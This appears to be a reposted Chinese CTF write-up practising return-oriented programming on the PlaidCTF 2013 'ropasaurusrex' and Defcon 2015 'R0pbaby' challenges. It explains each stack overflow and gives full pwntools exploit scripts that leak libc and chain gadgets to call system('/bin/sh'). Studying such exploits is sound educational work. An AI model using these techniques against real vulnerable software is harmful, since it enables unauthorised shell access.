Pwn之ROP系列練習


PWN之ROP系列

基礎ROP

32位 ROP

題目來源

PlaidCTF 2013: ropasaurusrex

檢查

ropasaurusrex01

開了NX,所以用ROP。

看代碼

ropasaurusrex02

ropasaurusrex03

簡單的棧溢出。使用write函數泄露一個libc函數的地址,進而泄露libc,計算system函數地址和"/bin/sh"字符串地址,然后構造system("/bin/sh")去getshell。

exp

#!/usr/bin/env python2
from pwn import *
p = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')
libc = ELF('/lib32/libc.so.6')
#libc = ELF('./libc.so.6') this is not the local libc,so if in local debug ,must use the local libc
context.log_level = 'debug'
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
overflow_func = 0x80483F4
payload = 'a'*0x88 + 'a'*4 + p32(write_plt) + p32(overflow_func)+ p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv())
libc_base = write_addr - libc.symbols['write']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
payload2 = 'a'*0x88 + 'a'*4 + p32(system)+ p32(0xdeadbeef)+ p32(bin_sh)
p.sendline(payload2)
p.interactive()
p.close()

PS:

這里我遇到了 一個坑,就是本地調試的時候用了他給的libc,卻又沒有指定程序加載他給的libc,所以程序使用的我自己系統了的libc,而我使用他給的libc計算地址,兩個libc版本不一樣,當然地址就算不出來,所以,本地調試的時候一定要把libc統一,要么全部用他給的,要么全部用自己的。

64位ROP

題目來源

Defcon 2015 Qualifier:R0pbaby

0x01 題目檢查

r0pbaby01

0x02 先運行一下

r0pbaby05

0x03 拖入IDA找找漏洞函數

r0pbaby03

可以看到memcpy沒有檢查長度。這里就會有棧溢出。

但是從前面的安全檢查可以看出,開啟了NX和PIE。所以我們就要使用ROP技術來繞過NX。從題目的提示也可以看出來。

所以,我們現在需要制造三個條件:1、system的地址 2、“/bin/sh”的地址 3、找到可用的gedget。

system的地址,我們可以通過程序直接得到,“/bin/sh”的地址可以從libc庫中搜索,

0x04 查看libc版本及尋找相應的gadget

r0pbaby06

現在我們就萬事具備,只欠東風了。

但是我們如果就這樣直接開始變寫exp的話,你會發現,最終是不能成功的。

經過一番調試,我發現程序中給的並不是真實的libc的基地址。所以我們需要自己計算。

r0pbaby02

0x05 編寫exp

#!/usr/bin/env python2
from pwn import *
p = process("./r0pbaby")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system_offset = elf.symbols['system']
context.log_level = 'debug'
bin_sh_offset = 0x0000000000181519
#popret_offset = 0x0000000000023a5f # pop rdi;ret;
popret_offset = 0x00000000000f94cb # pop rax;pop rdi;call rax;

# get system addr
p.recvuntil(': ')
p.sendline('2')
p.recvuntil('Enter symbol: ')
p.sendline('system')
p.recvuntil('Symbol system: ')
system_addr = long(p.recvuntil('\n'),16)
libc_base = system_addr - system_offset
print 'libc_base_addr: %x' % libc_base
print 'system_addr: %x' % system_addr

# set up payload
bin_sh = libc_base + bin_sh_offset
pop_ret = libc_base + popret_offset
payload = 'a'*8
#payload += p64(pop_ret) + p64(bin_sh) + p64(system_addr)
payload += p64(pop_ret) + p64(system_addr) + p64(bin_sh)

# send payload
p.recvuntil(': ')
p.sendline('3')
p.recvuntil('(max 1024): ')
p.sendline(str(len(payload)))
p.sendline(payload)
p.interactive()
p.close()

這樣就可以成功的getshell了。

r0pbaby07


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM